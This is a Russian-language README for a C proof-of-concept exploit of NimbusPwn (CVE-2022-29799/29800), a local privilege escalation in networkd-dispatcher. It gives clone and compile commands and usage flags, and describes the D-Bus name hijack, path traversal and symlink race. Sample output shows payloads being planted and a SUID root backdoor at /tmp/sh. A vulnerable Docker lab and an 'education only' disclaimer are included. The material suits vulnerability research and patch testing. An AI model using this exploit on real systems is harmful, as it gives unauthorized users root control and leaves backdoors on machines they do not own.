
NimbusPwn (CVE-2022-29799/29800) локальный эксплойт для повышения привилегий PoC на C.
PoC на C для NimbusPwn — локального повышения привилегий в networkd-dispatcher. Непривилегированный пользователь захватывает имя D-Bus org.freedesktop.network1 и отправляет поддельный OperationalState. Корневой демон не проверяет его (CVE-2022-29799, обход пути), а гонка симлинков в каталоге скриптов (CVE-2022-29800, TOCTOU) приводит к выполнению скрипта злоумышленника от root — давая SUID-оболочку root.
Затрагивает: networkd-dispatcher < 2.1 (исправлено в 2.1). Только Linux. Требуется системный D-Bus и захватываемое имя org.freedesktop.network1.
Сборка на Linux (Kali или целевая машина). Не собирается и не работает на macOS/Windows.
git clone https://github.com/joshuavanderpoll/NimbusPWN-CVE-2022-29799-29800.git
cd NimbusPWN-CVE-2022-29799-29800
sudo apt install -y gcc libc6-dev libdbus-1-dev pkg-config
cc nimbuspwn.c -o nimbuspwn $(pkg-config --cflags --libs dbus-1)
[!NOTE] Другие дистрибутивы:
dnf install gcc dbus-devel pkgconf(Fedora/RHEL) илиpacman -S gcc dbus pkgconf(Arch). Строка компиляции та же.
Запуск от непривилегированного пользователя на уязвимом хосте.
./nimbuspwn [-c] [-s SHELL]
-c, --check неразрушающая проверка уязвимости, без эксплуатации
-s, --shell SHELL оболочка для копирования с SUID и запуска от root (по умолчанию /bin/sh)
-h, --help показать справку
Сначала проверка (безопасно, ничего не устанавливает, не вызывает гонок):
$ ./nimbuspwn --check
[+] owned org.freedesktop.network1
[+] verdict: likely vulnerable (org.freedesktop.network1 is claimable, no privesc tried)
Затем эксплуатация:
$ ./nimbuspwn
[*] shell=/bin/sh drop=/tmp/sh attempts=10
[+] owned org.freedesktop.network1
[@] attempt 1 (/tmp/nimbuspwn_93732)
[+] planted 126 payloads (root-owned /sbin execs) in /tmp/nimbuspwn_93732
[*] OperationalState: ../../../tmp/nimbuspwn_93732/poc
[*] signal sent (serial 3)
[@] symlink swapped, waiting for root exec
[+] root backdoor at /tmp/sh, spawning shell
# id
uid=1000(pwn) gid=1000(pwn) euid=0(root) groups=1000(pwn)
Гонка недетерминирована, поэтому выполняется несколько попыток (по умолчанию 10×). Используйте -s /bin/bash на хостах без /bin/sh.
Автономная уязвимая лаборатория (Ubuntu 20.04 + уязвимый networkd-dispatcher 2.0). Не требует --privileged или host networking.
docker compose build
docker compose run --rm nimbuspwn-lab
# inside, as user 'pwn':
./nimbuspwn
Диспетчер версии 2.0 включён в docker/, поэтому сборка не зависит от внешних загрузок. Журнал диспетчера: /var/log/dispatcher.log.
Данный инструмент предоставляется только для образовательных и исследовательских целей. Создатель не несёт ответственности за любое неправомерное использование или ущерб, причинённый инструментом.